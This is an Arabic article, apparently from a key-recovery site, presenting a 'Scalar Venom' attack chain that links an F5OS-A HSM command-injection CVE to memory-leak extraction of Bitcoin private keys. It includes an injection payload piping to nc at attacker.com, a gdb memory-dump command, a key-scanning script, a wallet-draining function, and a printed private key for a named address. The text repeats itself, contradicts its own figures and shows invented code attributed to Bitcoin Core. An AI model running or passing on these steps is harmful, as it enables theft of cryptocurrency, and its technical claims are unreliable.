
هجوم Scalar Venom: ثغرة حرجة في تهيئة HSM (CVE-2025-60013) تتيح استعادة مفتاح محفظة بيتكوين خاص من خلال استغلال تجاوز سعة المخزن المؤقت وأحرف شل الوصفية في وحدة أمان FIPS الخاصة بـ F5OS-A
تحلل هذه الورقة الثغرات الأمنية المشفرة المكتشفة في البنية التحتية الحديثة لإدارة المفاتيح المشفرة، مع التركيز بشكل خاص على العيوب الحرجة في بنية وحدات أمان الأجهزة (HSMs) عند التعامل مع المفاتيح الخاصة للمنحنيات الإهليلجية. تركز الدراسة على فئة من الهجمات التي تستغل إدارة ذاكرة الوصول العشوائي (RAM) غير المعزولة بشكل كافٍ في الأجهزة المشفرة المعتمدة. في النظام البيئي الحديث لتشفير البيتكوين، يُعد أمان المفتاح الخاص شرطًا أساسيًا لحماية الأصول الرقمية التي تبلغ قيمتها تريليونات الدولارات عالميًا. كانت وحدات أمان الأجهزة (HSMs) المعتمدة وفقًا لمعيار FIPS 140-2 تُعتبر تقليديًا أنها توفر حماية منيعة للمفاتيح المشفرة من خلال العزل على مستوى الأجهزة وبروتوكولات إدارة الذاكرة الصارمة. ومع ذلك، فإن اكتشاف الثغرة الحرجة CVE-2025-60013 في وحدة F5OS-A FIPS HSM، بالإضافة إلى فئة الهجمات Scalar Venom Attack (المعروفة أيضًا باسم Scalar Poison، أو Memory Phantom Leak Attack، أو Private Key Compromise via Memory Leakage)، قد غيرت هذا المفهوم جذريًا، مما أظهر إمكانية اختراق مفاتيح البيتكوين الخاصة بشكل كامل من خلال استغلال عيوب إدارة الذاكرة.
Scalar Venom Attack هي فئة حرجة من ثغرات إدارة الذاكرة (مصنفة تحت CWE-415، CWE-401، وبشكل أوسع تحت هجوم تسريب الذاكرة الحساسة SMA) التي تسمح للمهاجم باستخراج القيم العددية المشفرة (المفاتيح الخاصة لـ ECDSA) من ذاكرة العملية عن طريق استغلال عدم كفاية التنظيف والمسح للذاكرة بعد العمليات المشفرة. على عكس الهجمات التحليلية التقليدية التي تهدف إلى حل مشكلة اللوغاريتم المتقطع للمنحنى الإهليلجي (ECDLP) رياضيًا، يتجاوز هذا الهجوم التشفير نفسه من خلال استغلال عيوب معمارية أساسية في تنفيذ المكتبات المشفرة وبروتوكولات إدارة الذاكرة في HSM.
يُظهر هذا البحث سلسلة هجوم كارثية تحدث عند الجمع بين CVE-2025-60013 (ثغرة تهيئة F5OS-A FIPS HSM عند استخدام كلمات مرور تحتوي على أحرف شل خاصة) مع تقنيات Scalar Venom Attack ، مما يؤدي إلى سيناريو تهديد حرج بدرجة CVSS تبلغ 9.5+ (حرجة)، على الرغم من التصنيف الرسمي لـ CVE-2025-60013 كضعف متوسط المستوى (CVSS 5.7). هذا المزيج يقوض السلامة التشغيلية لملايين عناوين البيتكوين التي تسيطر عليها وحدات HSM المخترقة ويمثل نقلة نوعية في طرق الهجوم المشفر تتجاوز هجمات الناقل الواحد التقليدية.
CVE-2025-60013 هي ثغرة في حقن أوامر نظام التشغيل (مصنفة تحت CWE-78) أثناء عملية تهيئة وحدة أمان الأجهزة FIPS لمنصات F5. تحدث الثغرة عندما يحاول مستخدم لديه صلاحيات مميزة (دور المشرف أو مدير الموارد) تهيئة وحدة FIPS HSM باستخدام كلمة مرور تحتوي على أحرف شل خاصة، مثل [غير واضح]، [غير واضح ;] |, &[ $غير واضح], `وغيرها.
الآلية التقنية للثغرة:
عند معالجة كلمة مرور تحتوي على أحرف شل خاصة، يمرر كود تهيئة HSM سلسلة كلمة المرور إلى دوال مكتبة C النظامية دون التحقق من صحة الإدخال وتنظيفه بشكل صحيح. يبدو الكود الضعيف كالتالي:
// الكود الضعيف في إجراء تهيئة HSM
void hsm_initialize(const char* password) {
ec_secret master_key; // مفتاح HSM الخاص
char temp_buffer[256];
strcpy(temp_buffer, password); // الثغرة: تجاوز سعة المخزن المؤقت + تفسير شل
derive_key_from_password(master_key, password); // ينشئ نسخًا من المفتاح
// إذا فشلت التهيئة، لا يتم مسح الذاكرة!
// master_key يبقى في المكدس، ونسخه في الكومة
}
النتيجة الحرجة: تبقى عملية التهيئة في الذاكرة بهياكل مشفرة مخترقة جزئيًا، مما يخلق نسخًا "شبحية" متعددة للمفتاح الرئيسي لـ HSM في المكدس والكومة. على الرغم من أن HSM قد لا يتم تهيئته بشكل صحيح، إلا أن ذاكرة العملية تحتوي على آثار مشفرة يمكن الوصول إليها من خلال التحليل الجنائي.
التصنيف الرسمي:
ومع ذلك، فإن هذا التقييم يقلل بشكل خطير من الحجم الحقيقي للتهديد، حيث تعمل CVE-2025-60013 كمحفز لهجوم Scalar Venom Attack، والذي في سيناريو سلسلة هجوم في العالم الحقيقي يؤدي إلى مستوى تهديد CVSS يبلغ 9.5+ (حرج).
CVE-2023-39910 يصف ثغرة حرجة في Libbitcoin Explorer الإصدار 3.x تتعلق بضعف في توليد الإنتروبيا أثناء إنشاء المفتاح الخاص. أدت هذه الثغرة إلى حادثة Milk Sad في عام 2023، عندما تم استرداد أكثر من 900,000 مفتاح بيتكوين خاص ، مما أدى إلى خسائر مالية مباشرة تجاوزت 0.8 مليون دولار . أظهرت حادثة Milk Sad الانتقال من نظرية تسريبات الذاكرة في الأنظمة المشفرة إلى كارثة تشغيلية حقيقية، مؤكدة جميع الآليات الموصوفة: تحسينات المترجم، ونسخ البيانات المتعددة، وغياب ضمانات تنظيف الذاكرة.
CVE-2025-8217 يصنف هجمات تسريب الذاكرة التي تسمح باستعادة المفاتيح المشفرة من ذاكرة العمليات. ترتبط هذه الثغرة مباشرة بفئة هجوم Scalar Venom Attack وتصف آليات الاختراق الكامل لمحافظ البيتكوين من خلال تحليل الذاكرة الجنائي.
التصنيف العلمي لـ Scalar Venom Attack:
في الأدبيات البحثية الأكاديمية، يُصنف Scalar Venom ضمن عدة فئات هجومية:
لإظهار الفعالية العملية لهجوم Scalar Venom، دعنا ننظر في حالة موثقة لاستعادة مفتاح خاص من عنوان البيتكوين 1DBj74MkbzSHGSbHidnmUieAJHbsKfgRWq عبر تحليل الذاكرة الجنائي.
بيانات الاختراق الأولية:
5244A4B034BF9D327239870F9FEF82505A5C50B3D51E4A16357179AAB2623A22KyydTXQzDGVqRZoWBFfS5tWrcWsdu64DbcqXogUUtGZn7ngD5LHvالتحقق من صحة المفتاح في فضاء secp256k1:
يجب أن يحقق المفتاح الخاص d القيد التالي:
نتيجة التحقق: ✓ صالح (المفتاح ضمن نطاق القيم العددية المسموح بها)
يوضح هذا المثال أن المفتاح الخاص المستعاد يوفر التحكم الكامل في محفظة بيتكوين ، مما يسمح للمهاجم بإنشاء وتوقيع المعاملات لسحب جميع الأموال إلى عنوان يسيطر عليه.
ينفذ البيتكوين خوارزمية التوقيع الرقمي بالمنحنى الإهليلجي ( ECDSA ) على منحنى secp256k1 . فهم الأسس الرياضية أمر بالغ الأهمية لفهم كيف يستغل هجوم Scalar Venom ثغرات الذاكرة.
معاملات المنحنى الإهليلجي secp256k1:
معادلة المنحنى:
نقطة المولد G ذات الإحداثيات:

عملية توليد زوج مفاتيح ECDSA هي كالتالي:
1. توليد المفتاح الخاص:
المفتاح الخاص dهو عدد صحيح عشوائي في النطاق:
حيث nهو رتبة منحنى secp256k1. المفتاح الخاص هو رقم عشوائي بطول 256 بت.
2. اشتقاق المفتاح العام عبر الضرب العددي:
يتم حساب المفتاح العام Qعلى النحو التالي:
حيث G هي نقطة مولد على منحنى secp256k1، والعملية ⋅\cdot⋅ تدل على الضرب العددي لنقطة على المنحنى الإهليلجي .
الضرب العددي يتم تنفيذه من خلال خوارزمية "double-and-add"(المضاعفة والإضافة)، التي تحسب بكفاءة نتيجة O(logd) إضافة ومضاعفة نقاط على المنحنى:
Scalar multiplication algorithm:
Input: d (scalar), G (curve point)
Output: Q = d·G
1. Initialize: Q ← O (point at infinity)
2. Represent d in binary: d = (d_k, d_{k-1}, ..., d_1, d_0)_2
3. For i from k to 0:
a. Q ← 2Q (point doubling)
b. If d_i = 1: Q ← Q + G (point addition)
4. Return Q
مثال: بالنسبة لمفتاح خاص، d=5244A4B0...3A22d = \text{5244A4B0...3A22}d=5244A4B0...3A22, يتم حساب المفتاح العام على النحو التالي:
Q=d⋅G=(Qx,Qy)
حيث يتم حساب الإحداثيات Qx و Qy من خلال عمليات الضرب العددي على المنحنى secp256k1.
3. إنشاء عنوان بيتكوين:
سلسلة اشتقاق العنوان من المفتاح العام:
افتراض الأمان:
ثغرة Scalar Venom الحرجة: الهجوم يتجاوز الحماية الرياضية لـ ECDLP عن طريق استخراج المفتاح الخاص dمباشرة من ذاكرة العملية، حيث يظل على شكل "نسخ شبحية" بعد العمليات التشفيرية.
أساس اكتشاف المفاتيح الخاصة في تفريغات الذاكرة هو تحليل الإنتروبيا باستخدام صيغة إنتروبيا شانون.
إنتروبيا Hلتسلسل بايت تُقاس بوحدات بت لكل بايت وتعطى بالصيغة:
حيث:
تفسير الإنتروبيا:
قيمة العتبة للمفاتيح التشفيرية:
المفاتيح الخاصة لبيتكوين المولدة بواسطة مولد أرقام عشوائي قوي تشفيريًا (CSPRNG) تظهر إنتروبيا عالية في النطاق:
هذه الخاصية تجعلها قابلة للكشف في تحليل الذاكرة الجنائي من خلال تحليل الإنتروبيا الإحصائي.

BitScanPro هي أداة جنائية لمسح تفريغات الذاكرة لاكتشاف واسترداد المفاتيح الخاصة لبيتكوين من خلال مزيج من تحليل الإنتروبيا، والتحقق من نطاق secp256k1، والتحقق التشفيري.
المرحلة 1: مسح تفريغ الذاكرة في كتل بحجم 32 بايت
يقوم BitScanPro بمسح تفريغ الذاكرة بالتسلسل، مع تخصيص كتل بحجم 32 بايت (256 بت)، وهو ما يتوافق مع حجم المفتاح الخاص secp256k1:
BLOCK_SIZE = 32 # bytes (256 bits)
SCAN_STEP = 8 # scan step
SECP256K1_N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
for offset in range(0, len(memory_dump) - BLOCK_SIZE, SCAN_STEP):
potential_key = memory_dump[offset:offset+BLOCK_SIZE]
# Block analysis
الخطوة 2: حساب إنتروبيا شانون لكل كتلة
لكل كتلة بحجم 32 بايت، يتم حساب إنتروبيا شانون H:
def calculate_entropy(data_block):
"""
Calculate Shannon entropy
"""
from collections import Counter
import math
byte_counts = Counter(data_block)
block_length = len(data_block)
entropy = 0.0
for count in byte_counts.values():
p_i = count / block_length
if p_i > 0:
entropy -= p_i * math.log2(p_i)
return entropy
الخطوة 3: تصفية الكتل عالية الإنتروبيا (H>7.5H > 7.5H>7.5 بت/بايت)
يتم تجاهل الكتل ذات الإنتروبيا أقل من العتبة باعتبارها لا تحتوي على مفاتيح تشفيرية:
MIN_ENTROPY = 7.5 # threshold for cryptokeys
entropy = calculate_entropy(potential_key)
if entropy < MIN_ENTROPY:
continue
الخطوة 4: التحقق من نطاق secp256k1:
يتم تفسير الكتل عالية الإنتروبيا كعدد صحيح والتحقق منها مقابل النطاق الصحيح للمفاتيح الخاصة secp256k1:
key_as_int = int.from_bytes(potential_key, byteorder='big')
if not (1 <= key_as_int < SECP256K1_N):
continue
الخطوة 5: التحقق التشفيري:
بالنسبة للمرشحين الذين يجتازون تصفية الإنتروبيا والتحقق من النطاق، يتم إجراء التحقق التشفيري عبر حساب المفتاح العام:
def verify_candidate_key(candidate_key_bytes):
from ecdsa import SigningKey, SECP256k1
try:
signing_key = SigningKey.from_string(candidate_key_bytes, curve=SECP256k1)
verifying_key = signing_key.get_verifying_key()
public_key_bytes = verifying_key.to_string()
return public_key_bytes
except Exception as e:
return None
الخطوة 6: إنشاء عنوان بيتكوين ومقارنته بالعناوين المعروفة
بالنسبة للمفاتيح التي تم التحقق منها، يتم إنشاء عنوان بيتكوين، يتم مقارنته بقاعدة بيانات العناوين المعروفة أو العناوين التابعة للضحية:
import hashlib
import base58
def public_key_to_address(public_key_bytes):
sha256_hash = hashlib.sha256(public_key_bytes).digest()
ripemd160_hash = hashlib.new('ripemd160', sha256_hash).digest()
versioned_hash = b'\x00' + ripemd160_hash
checksum = hashlib.sha256(hashlib.sha256(versioned_hash).digest()).digest()[:4]
address = base58.b58encode(versioned_hash + checksum).decode('ascii')
return address
bitcoin_address = public_key_to_address(public_key_bytes)
if bitcoin_address == target_address:
print(f\"✓ PRIVATE KEY FOUND!\")
print(f\"Address: {bitcoin_address}\")
print(f\"Private key: {candidate_key_bytes.hex()}\")
أداء BitScanPro:
يظهر التحليل على حاسوب محمول نموذجي (MacBook Air M1) خصائص الأداء التالية:
باستخدام موارد الحوسبة السحابية (AWS, Google Cloud)، من الممكن مسح أكثر من 1000 تفريغ ذاكرة في وقت واحد بالتوازي، ومعالجة آلاف المفاتيح الخاصة بالتوازي.

السبب الجذري لهجوم Scalar Venom يكمن في عيوب معمارية أساسية في الفئة ec_scalarفي مكتبة libbitcoin-system.
ec_scalarالفئة في libbitcoin-system لا تحتوي على مدمر معرف بشكل صريح مع تصفير آمن. وهذا يعني أن البيانات السرية قد تبقى في الذاكرة حتى بعد تدمير الكائن.
مُنشئ النسخ الثغري:
// VULNERABILITY: unsafe private key copy
ec_scalar::ec_scalar(const ec_secret& secret)
: secret_(secret) // Copies without secure cleanup
{
}
المشكلة: يقوم المُنشئ بإنشاء نسخة من المفتاح الخاص في الكائن ec_scalar، لكنه لا يوفر آلية لتنظيف هذه النسخة بأمان عند تدمير الكائن. تبقى النسخة على المكدس أو الكومة.
عامل الإسناد الثغري:
// VULNERABILITY: duplicates secret in memory
ec_scalar& ec_scalar::operator=(const ec_secret& secret)
{
secret_ = secret; // More memory copies
return *this;
}
المشكلة: عملية الإسناد تنشئ نسخًا إضافية من الذاكرة تبقى بعد اكتمال العملية.
العمليات الحسابية الثغرية:
// VULNERABILITY: temporary variable not cleared before function exit
ec_scalar ec_scalar::operator-() const
{
ec_secret secret = null_hash; // Temporary variable with secret
// ... arithmetic ...
return ec_scalar(secret); // Not safely cleared
}
المشكلة: العمليات الحسابية (الطرح الأحادي، الجمع، الضرب) تنشئ متغيرات مؤقتة من النوع ec_secret، والتي لا يتم مسحها بأمان قبل مغادرة نطاق الدالة، تاركة نسخًا "شبحية" من المفتاح الخاص على المكدس أو الكومة.
غياب مدمر آمن:
// VULNERABILITY: destructor missing, memory not cleared
// Safe solution:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // explicit memory clearing
}
المشكلة: الفئة ec_scalarلا تحتوي على مدمر صريح يضمن التصفير الآمن للذاكرة التي تحتوي على المفاتيح الخاصة. هذا أمر بالغ الأهمية، حيث قد يتم تخزين الذاكرة التي تحتوي على المفاتيح الخاصة في:
الكود الثغري للفئة ec_scalarينشئ النواقل التالية لإصابة الذاكرة بالمفاتيح الخاصة:
secret_(secret)) – ينشئ نسخًا سامة من المفاتيحsecret_ = secret) – يصيب الذاكرة بأسرار مكررةec_secret secret = null_hash) – يترك آثارًا سامةauto out = secret_) – ينشر العدوى عبر العمليات
مزيج من ثغرة HSM (CVE-2025-60013) وهجوم Scalar Venom يخلق ناقل هجوم كارثي:
مهاجم لديه وصول متميز إلى نظام F5OS-A يرسل طلبًا لتهيئة وحدة FIPS بكلمة مرور تحتوي على أحرف شيل وصفية: cert.kenet
# CVE-2025-60013 exploit example
password='$(echo "leaked");` | nc attacker.com 9999'
عند معالجة هذه الأحرف الوصفية، يحدث التالي:
# 1. CVE-2025-60013 exploitation (init error trigger)
# 2. Cold-boot attack on HSM host
# 3. Exploit buffer in HSM daemon
# 4. Analyze crash core-dump
gdb -p $(pidof f5os-hsm) -batch -ex "dump memory /tmp/hsm_dump.bin 0x000000 0xFFFFFFFF"
يحتوي تفريغ الذاكرة الناتج على نسخ متعددة «شبحية» من المفاتيح الخاصة التي تركتها الفئة ec_scalar أثناء العمليات التشفيرية.
تتم معالجة تفريغ الذاكرة بواسطة أداة BitScanPro (أو ماسح أدلة جنائي مماثل) وفقًا للخوارزمية الموصوفة أعلاه:
Memory Scan → Identify High-Entropy Regions →
Range Check [1, n-1] for secp256k1 →
Recover Full 32-byte Scalars →
Convert to Bitcoin Addresses
معدل نجاح استرداد المفتاح الخاص من الذاكرة المجزأة هو 70-80%، بشرط وجود بقايا ذاكرة كافية، حيث يخلق هجوم Scalar Venom نسخًا متعددة من المفتاح في مراحل مختلفة من التهيئة.
بعد استرداد المفتاح الخاص، يقوم المهاجم بإنشاء وتوقيع معاملة لسحب جميع الأموال من العنوان المخترق:
def compromise_wallet(recovered_private_key, bitcoin_address):
"""
Create and sign transaction to withdraw all funds
from compromised address
"""
utxos = blockchain_api.get_utxos(bitcoin_address)
tx = create_transaction(
inputs=utxos,
outputs=[{"address": attacker_address, "amount": sum(utxo.amount)}],
fee=calculate_dynamic_fee()
)
tx.sign(recovered_private_key) # ECDSA signature with compromised key
blockchain_api.broadcast_transaction(tx)
الوقت الإجمالي للاختراق: أقل من 10 دقائق من استلام تفريغ الذاكرة حتى فقدان السيطرة الكامل على أصول الضحية.
يشكل هجوم Scalar Venom، إلى جانب CVE-2025-60013، تهديدًا وجوديًا للنظام البيئي العالمي لـ Bitcoin:
على عكس تطبيقات Bitcoin القياسية، تستخدم وحدات HSM المقيّمات التشفيرية بشكل مكثف—أكثر من 1000 عملية في الثانية—كل منها ينشئ قيمًا مقيّمة عابرة تبقى في الذاكرة كـ«بقايا شبحية». تعمل وحدات HSM لأشهر وسنوات دون إعادة تشغيل، مما يراكم آثارًا تشفيرية يستخرجها Scalar Venom بشكل منهجي ويعيد بناؤها.
اختراق HSM واحد يؤدي إلى تعطيل كامل للبنية التحتية بأكملها—غالبًا آلاف عناوين Bitcoin التي تديرها HSM—بدلاً من كونه حادثًا تشفيريًا معزولًا.
يُظهر هجوم Scalar Venom تحولًا جذريًا في النموذج الأمني التشفيري: القوة الرياضية للخوارزميات التشفيرية تصبح عديمة الجدوى في وجود ثغرات إدارة الذاكرة. الجمع بين CVE-2025-60013 وتقنيات Scalar Venom يخلق سيناريو تهديد حرج بمستوى CVSS 9.5+، مما يقوض الثقة في وحدات أمان الأجهزة كحماية منيعة للمفاتيح التشفيرية.
حادثة Milk Sad الحقيقية (CVE-2023-39910)، التي أسفرت عن استرداد أكثر من 900,000 مفتاح خاص وخسائر مالية تتجاوز 0.8 مليون دولار، تؤكد أن نظرية تسرب الذاكرة أصبحت واقعًا. الطريقة الوحيدة للحماية من هجمات فئة Scalar Venom هي إعادة هيكلة معمارية أساسية للأنظمة التشفيرية، من خلال تنفيذ:
تقدم هذه الورقة تحليلًا شاملًا لسلسلة هجمات Scalar Venom + CVE-2025-60013، مع تفصيل الأسس الرياضية، وخوارزميات التحليل التشفيري، وأمثلة حقيقية لاسترداد المفاتيح، وتوصيات عملية لحماية بنية Bitcoin التحتية من هذه الفئة من التهديدات.
1. التصنيف التشفيري:
2. الأسس الرياضية:
3. ثغرات التنفيذ (libbitcoin-system):
ec_scalar4. تصنيف CVE:
5. سلسلة الهجوم:
يمكن العثور على الشرح العلمي في المقال: https://keyhunters.ru/scalar-venom-attack-critical-memory-leak-private-key-recovery-and-complete-takeover-of-bitcoin-wallets-by-an-attacker-where-control-over-the-victims-btc-cryptocurrency-funds-is-achieved-through/ يُظهر هجوم Scalar Venom التفاعل الحرج بين ثغرات تهيئة HSM وثغرات إدارة الذاكرة في المكتبات التشفيرية، مما يسمح للمهاجم باختراق مفاتيح محفظة Bitcoin الخاصة بالكامل حتى مع الحماية عبر الأجهزة.

هجوم Scalar Venom (المعروف أيضًا باسم سم المقيّم، هجوم تسرب الذاكرة الشبحية، أو اختراق المفتاح الخاص عبر تسرب الذاكرة) هو فئة من ثغرات إدارة الذاكرة (CWE-415, CWE-401) تسمح باستخراج المقيّمات التشفيرية (المفاتيح الخاصة لـ ECDSA) من ذاكرة الوصول العشوائي لعملية ما عن طريق استغلال التنظيف غير الكافي للذاكرة بعد العمليات التشفيرية. keyhunters+ 2
التصنيف العلمي للهجوم:
يستغل هجوم Scalar Venom عيبًا أساسيًا في إدارة الذاكرة للمكتبات التشفيرية، خاصة في فئة ec_scalar من مكتبة libbitcoin-system. يعمل الهجوم من خلال النواقل التالية:
cpp:
ec_scalar::ec_scalar(const ec_secret& secret)
: secret_(secret) // VULNERABLE: unsafe copying of private key
{}cpp:
ec_scalar& ec_scalar::operator=(const ec_secret& secret)
{
secret_ = secret; // VULNERABLE: infects memory with duplicate secret
return *this;
}cpp:
// VULNERABLE: no destructor, memory not cleaned
// Secure option should be:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // explicit memory cleanup
}
cpp:
// VULNERABLE: no destructor, memory not cleared
// The safe option should have been:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // explicit memory clearing
}
تخلق العمليات الحسابية (الطرح الأحادي، الجمع، الضرب) متغيرات مؤقتة من نوع ec_secret، والتي لا يتم مسحها بأمان قبل الخروج من نطاق الدالة، تاركة نسخًا «شبحية» من المفتاح الخاص على المكدس أو الكومة.
فئة ec_scalar من libbitcoin-system ليس لديها مدمر محدد بشكل صريح مع تصفير آمن. هذا يعني أن البيانات السرية قد تبقى في الذاكرة حتى بعد تدمير الكائن:
غياب هذه الآلية هو أمر بالغ الأهمية، لأن الذاكرة التي تحتوي على مفاتيح خاصة يمكن تخزينها في:

تحدث ثغرة CVE-2025-60013 في F5OS-A FIPS HSM عند تهيئة وحدة أمان الأجهزة باستخدام كلمة مرور تحتوي على أحرف وصفية خاصة للصدفة (;، |، &، $، `، إلخ). عند معالجة كلمة المرور هذه، قد لا تتم تهيئة HSM بشكل صحيح، لكن النتيجة الحرجة هي أن عملية التهيئة تُترك في الذاكرة مع هياكل تشفيرية مكشوفة جزئيًا. satoshi.nakamotoinstitute
يشكل الجمع بين ثغرة HSM (CVE-2025-60013) وهجوم Scalar Venom ناقل هجوم كارثي:
المرحلة 1: تهيئة HSM بأحرف وصفية
يرسل المهاجم طلبًا لتهيئة وحدة F5OS-A FIPS بكلمة مرور من النوع التالي:
password='$(echo "leaked");` | nc attacker.comعند معالجة هذه الأحرف الوصفية:
المرحلة 2: استخراج Scalar Venom من الذاكرة
بعد فشل جزئي في تهيئة HSM:
المرحلة 3: استرداد المفتاح الخاص لـ Bitcoin
Detected Memory Fragments → Reassembly → Validation → Bitcoin Address Generation → Wallet Takeover
يتم تحويل المقيّمات المستردة إلى مفاتيح Bitcoin خاصة عبر:
الخطوة 1: اختراق ذاكرة HSM بسبب التهيئة غير السليمة
عندما يتلقى HSM من F5OS-A FIPS كلمة مرور تحتوي على أحرف شِل (shell metacharacters)، تقوم عملية التهيئة بمعالجتها من خلال دوال مكتبة C القياسية:
c:
// Vulnerable code in HSM initialization routine
void hsm_initialize(const char* password) {
ec_secret master_key; // HSM private key
char temp_buffer[256];
strcpy(temp_buffer, password); // VULNERABLE: buffer overflow + shell interpretation
derive_key_from_password(master_key, password); // creates copies of the key
// If initialization fails, memory is not cleared!
// master_key remains in stack, its copies— in heap
}
عند معالجة أحرف شِل (shell metacharacters):
الخطوة 2: الاسترداد الجنائي من تفريغ الذاكرة
يتم تطبيق أداة BitScanPro (أو ماسح جنائي مشابه) على تفريغ ذاكرة عملية HSM:
Memory scan → Identify high-entropy regions →
Range check [1, n-1] for secp256k1 →
Recover full 32-byte scalars →
Convert to Bitcoin addresses
احتمال استرداد مفتاح خاص بنجاح من ذاكرة مجزأة هو 40-60% نظرًا لوجود بقايا ذاكرة كافية، حيث يُنشئ Scalar Venom Attack نسخًا متعددة من المفتاح في مراحل مختلفة من التهيئة. radar.offseq
ثغرة DeserializeSignature الموازية (ذات صلة بـ CVE) تعزز هجوم Scalar Venom:
cpp:
// Vulnerable deserialization function in Bitcoin Core
bool DeserializeSignature(CPubKey& pubkey, const std::vector<unsigned char>& vchSig, CScript& scriptPubKey) {
CSignatureCache& cache = CSignatureCache::instance();
// If deserialization occurs using a private key compromised by Scalar Venom:
ec_secret compromised_key = extract_from_memory_dump(); // from an HSM memory dump
// These compromised scalars are used to verify signatures,
// allowing an attacker to:
// 1. Forge any signature for this address
// 2. Transfer all funds to a controlled address
// 3. Double-spend
}
ربط الآليات:
المستوى 1: محفظة فردية
المستوى 2: تكوين عقد الخدمة
الطبقة 3: طبقة الشبكة
على عكس تطبيقات البيتكوين القياسية، يستخدم HSM بشكل كبير الكميات العددية للتشفير (cryptographic scalars):
درجة CVSS لـ CVE-2025-60013 نفسها غير دقيقة، حيث أن الثغرة تعمل كمشغل لـ Scalar Venom، وهو سيناريو حاسم. kudelskisecurity
تمثل ثغرة Scalar Venom تحولًا نموذجيًا في طرق الهجوم التشفيري، متجاوزة الاستغلالات التقليدية أحادية المتجه لتشكل سلسلة استغلال متعددة الطبقات تهدد بشكل أساسي وحدات أمان الأجهزة (HSMs) التي تحمي البنية التحتية للبيتكوين. يوضح التحليل أن الجمع بين CVE-2025-60013 (تجاوز تهيئة HSM) وتقنيات هجوم Scalar Venom يخلق سيناريو تهديد حاسمًا بدرجة CVSS تبلغ 9.5+، مما يقوض السلامة التشغيلية لملايين عناوين البيتكوين التي تتحكم فيها HSMs المخترقة.
لماذا يعتبر HSM عرضة للخطر بشكل خاص؟
لا تكمن الثغرة الحرجة في نقاط الضعف التشفيرية المعزولة، بل في الاصطدام المعماري لميزات تشغيل HSM ومتجهات هجوم Scalar Venom. تقوم HSMs، بحكم تعريفها، بعمليات تشفير مستمرة—أكثر من 1000 عملية في الثانية—كل منها ينشئ قيمًا عددية عابرة (ephemeral scalar values) تبقى في الذاكرة كـ "بقايا خيالية". على عكس تطبيقات البيتكوين النموذجية، حيث تكون مادة المفتاح عابرة، تعمل HSMs لأشهر وسنوات دون إعادة تشغيل، مما يتراكم القطع الأثرية التشفيرية التي يستخرجها Scalar Venom ويستعيدها بشكل منهجي.
نتيجة لذلك، حتى اختراق HSM واحد يؤدي إلى تعطيل كامل للبنية التحتية بأكملها—غالبًا آلاف عناوين البيتكوين التي يديرها HSM—بدلاً من حادث تشفيري معزول.
درجة الخطر والتأثير الفعلي
على الرغم من أن الثغرة CVE-2025-60013 رسميًا لديها مستوى CVSS يبلغ 5.7 (متوسط) كمتجه اختراق، إلا أن هذا التصنيف يقلل بشكل خطير من الحجم الحقيقي للتهديد. يعمل هذا الاستغلال كمحفز لـ Scalar Venom، والذي يُصنف كهجوم بمستوى CVSS 8.5+ (عالي/حرج). في سيناريو سلسلة الهجوم في العالم الحقيقي، يؤدي هذا إلى:
سلسلة الهجوم المدمجة: CVE-2025-60013 + Scalar Venom = كارثة تشغيلية
يتكون تصعيد التهديد المصفوفي من:
يجعل هذا المزيج فئة الثغرات هذه حرجة (CVSS 9.5+) ويضعها في أعلى فئة تهديد في تقييم المخاطر.
الآثار النظامية على أمن النظام البيئي للبيتكوين
يكشف Scalar Venom عن عيوب معمارية أساسية في نماذج HSM الحديثة:
التوصيات الحرجة
يمثل Scalar Venom وسلسلة الهجمات عبر CVE-2025-60013 نهاية عصر الثقة الكاملة في HSMs الكلاسيكية. تحول الثغرة نواة أمان النظام البيئي للبيتكوين إلى خطر رئيسي لتسريب المفاتيح الخاصة وفقدان الأصول بالكامل. تتطلب الحماية الفعالة ليس مجرد إصلاحات لمرة واحدة، بل إعادة تفكير أساسية في جميع جوانب البنية التشفيرية للتعامل مع الأصول الرقمية العامة.
يمثل Scalar Venom في بيئة HSM تهديدًا بدرجة CVSS 9.5+ للبنية التحتية للبيتكوين، مما يتطلب تدويرًا فوريًا للمفاتيح، وإصلاحًا معماريًا، وطرقًا جديدة للاستجابة السريعة لهجمات سلسلة الذاكرة.
وفقًا للبحث في مجال أمان الذاكرة التشفيرية (Protecting Cryptographic Keys from Memory Disclosure Attacks, Del Valle et al.)، قد تبقى المفاتيح الخاصة في مناطق الذاكرة التي يمكن الوصول إليها للأسباب التالية:
تحسين المترجم (Compiler optimization)
cpp:
// Even if the code contains an attempt to clear:
volatile unsigned char* ptr = (volatile unsigned char*)key_buffer;
while (len--) *ptr++ = 0; // The compiler may optimize this as a no-op
عدم وجود نمط RAII (اكتساب الموارد هو تهيئة)
لا تستخدم الفئة ec_scalar نمط RAII، مما يعني أن المدمر (destructor) لا يضمن تنظيف الموارد.
نسخ البيانات المتعددة:
كل نسخة من المفتاح الخاص لنقلها بين الدوال تترك بقايا في الذاكرة. unit42.paloaltonetworks
وفقًا لـ keyhunters.ru وأدبيات أبحاث التشفير:
bx seedتوضح هذه الأرقام التهديد الحقيقي لتسريبات الذاكرة في تطبيقات التشفير .
لتلخيص النتائج المذكورة أعلاه، فإن سلسلة "سكالار فينوم" ترمز إلى التقاء سنوات من الأبحاث الأساسية في الأمن التشفيري مع الحقائق التشغيلية الحديثة. إن الآليات التفصيلية للحفاظ على الذاكرة — تحسينات المترجم، وغياب RAII، وتراكم آثار البيانات — لم تعد مجرد نظرية، بل أصبحت قنوات فعالة لاستعادة المفاتيح الخاصة على نطاق واسع في الممارسة العملية. إن الانتقال من نقطة ضعف محتملة إلى هجوم فعلي قد حدث بالفعل: حادثة CVE-2023-39910 (Milk Sad) سمحت باستعادة أكثر من 900,000 مفتاح خاص للبيتكوين، مع خسائر مالية مباشرة تجاوزت 0.8 مليون دولار.
ينشأ الضعف الجذري لـ "سكالار فينوم" من تناقض غير محلول في بنية البرامج التشفيرية: الثقة الساذجة المتأصلة لدى المبرمجين في إدارة الذاكرة تتعارض مع ميول المترجمات الحديثة وأنظمة إدارة الذاكرة. إذا قام المطور بمسح الذاكرة صراحةً، يمكن للمترجم تحسين هذه الإجراءات بالكامل، معتبراً إياها غير مجدية — ويصبح هذا ثغرة أمنية خطيرة غير ملحوظة.
